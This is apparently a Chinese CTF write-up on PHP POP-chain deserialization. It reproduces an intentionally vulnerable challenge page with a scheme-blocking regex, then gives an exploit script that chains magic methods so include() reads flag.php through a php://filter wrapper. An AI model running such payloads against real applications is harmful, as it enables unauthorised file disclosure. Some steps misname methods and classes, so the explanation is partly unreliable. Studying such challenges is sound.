POP链
就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
,实战应用范围暂时没遇到,不过在CTF
比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列化的一种拓展,泛用性更强,涉及到的魔法方法也更多。
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
代码
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
首先这里传入数据的入口是反序列化,那就是__wakeup()
,出口那就是要读取文件,那就是 __invoke()和_show()
,一个是魔法方法,一个是普通方法。
1.首先看到unserialize($_GET['wish'])将get传参的wish进行了反序列化操作。那么将会调用到Road_is_Long类中__weakup方法。
2.因为 $this->page = "index.php" page被当做字符串所以调用Road_is_Long类中的__to string.
3. ** return $this->string->page ** page属性不存在所以调用Road_is_Long类中的 get方法。
4. ** $function = $this->effort;
return $function(); **
把取出来的effort当做还是调用因此又会引起调用了 Try_Work_Hard类中的__invoke方法,其中就可以把文件读取出来了。
exp
<?php
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Road_is_Long{
public $page;
public $string;
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
$a = new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
$a->page=$b;
$b->string=$c;
$c->effort=$d;
echo urlencode(serialize($a));
?>